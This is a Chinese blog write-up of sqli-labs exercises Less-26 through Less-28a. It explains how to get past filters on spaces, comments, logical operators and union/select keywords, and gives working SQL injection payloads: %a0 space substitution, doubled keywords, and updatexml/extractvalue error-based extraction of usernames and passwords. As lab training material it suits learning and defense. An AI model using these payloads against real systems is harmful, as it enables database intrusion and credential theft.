美文网首页
sqli-labs Less-26-28a

sqli-labs Less-26-28a

作者: jun123123 | 来源:发表于2019-10-17 22:41 被阅读0次
  • Less-26
    看题目可知过滤了空格和注释符以及'or','and'。
    一般来说仅过滤了空格时可用php注释符//来替代空格,但这里//也被过滤了
    考虑其他替代编码:
  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格
    测试之后发现只有%a0没被过滤,构造payload:
?id=0'%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0oorrder%a0by%a0'1
1.png

注入成功
看了wp发现还有别的注入方法(其实%a0也是看了wp才知道的
例如通过updatexml()或extractvalue()函数来进行报错注入
通过括号代替空格
构造payload:

?id=0'||updatexml(1,(select(concat('$',username,'$',passwoorrd))from(users)where(username='admin')),1)||'1'='1

?id=0'||extractvalue(1,(select(concat('$',username,'$',passwoorrd))from(users)where(username='admin')))||'1'='1
2.png
注入成功
注:
  • 由于sql报错存在字符限制,所以不能使用group_concat()函数一次爆出所有用户名和密码,并且无空格无法使用limit语句,只能通过where语句来控制偏移量(对sql语句还是不够熟悉,不理解为什么limit语句不能用括号代替空格)
  • 由于'#'被注释,所以改用'$'做分隔符
  • Less-26a
    首先判断注入类型
    ?id=1'时无回显,加双引号正常回显,单字符型注入
    判断括号:
    ?id=2'||'1'='0
    若sql语句为:select * from users where id='$id' limit 0,1
    插入后为:select * from users where id='2'||'1'='0' limit 0,1
    回返回id=2的查询结果
    若sql语句为:select * from users where id=('$id') limit 0,1
    插入后为:select * from users where id=('2'||'1'='0') limit 0,1
    在('2'||'1'='0')中。'2'被作为布尔型数据ture,匹配结果为ture即为真(1),所以会返回id=1的查询结果
    3.png
    说明有小括号。
    其他同Less-26,不贴payload和图了(懒)
  • Less-27
    看到题目知道过滤了select和union,用同样的办法sselectelect构造payload:
http://sqli-labs.whye.xyz/Less-27/?id=0'%a0uunionnion%a0sselectelect%a01,group_concat(username),group_concat(password)%a0from%a0users%a0order%a0by%a0'1

还是报错,继续加

http://sqli-labs.whye.xyz/Less-27/?id=0'%a0uunionnion%a0ssselectelectelect%a01,group_concat(username),group_concat(password)%a0from%a0users%a0order%a0by%a0'1

注入成功


4.png

同样也可以用updatexml()等函数进行报错注入,不再列举

  • Less-27a
    和Less-27几乎一样只是单字符变成双字符,单引号换双引号即可。
  • Less-28


    5.png

    直接注入成功,不知道为什么说过滤了union和select,看了wp才知道是过滤了相连的union和select,而这里我们用%a0隔开了union和select,所以未过滤。

  • Less-28a


    6.png

    又直接注进去了?
    看了下代码,把Less-28大部分过滤注释掉了,所以比Less-28更简单了。

相关文章

网友评论

      本文标题:sqli-labs Less-26-28a

      本文链接:https://www.haomeiwen.com/subject/xravmctx.html